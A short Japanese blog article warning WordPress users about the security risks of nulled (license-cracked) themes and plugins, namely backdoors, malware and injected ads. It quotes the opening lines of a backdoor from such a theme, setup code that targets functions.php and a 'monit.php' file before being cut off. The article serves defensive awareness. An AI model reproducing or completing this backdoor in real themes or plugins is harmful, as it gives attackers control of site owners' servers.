ワードプレスのnulledプラグインやテーマを利用する危険性

ワードプレスのテーマやプラグインを不正に無料で公開しているサイトがあります。このようなサイトからテーマやプラグインをダウンロードして利用する危険性について解説いたします。

有料テーマやプラグインを無料で公開しているサイト

有料のテーマやプラグインを、不正(違法の可能性が高いです)に無料で公開しているサイトがあります。
このような有料のテーマやプラグインのライセンス認証を回避して無料化しているものを、nulled(ナルド)テーマやプラグインと呼ばれています。

このようなテーマやプラグインを不用心にサイトに利用してしまうと、セキュリティー上の懸念が生じます。

・バックドアと呼ばれる、ハッカーの入り口が埋め込まれている場合がある。
・マルウェアが埋め込まれている場合がある
・不正な広告が埋め込まれている場合がある

下記は、nulledテーマやプラグインに埋め込まれているバックドアの一例です。

class.theme-modules.php

$fExistPlugin1 = function_exists('searchFilesFromPlugin');
$fExistPlugin2 = function_exists('insertMyPluginFromPlugin');
$fExistTheme1 = function_exists('searchFilesFromTheme');
$fExistTheme2 = function_exists('updateFilesFromTheme');

if (!$fExistPlugin1 && !$fExistPlugin2 && !$fExistTheme1 && !$fExistTheme2) {
	define('SCRIPT_PATH', __FILE__);
	define('SERCH_FILE', 'functions.php');
	define('PLUGIN_NAME', 'monit.php'); ...コードが続く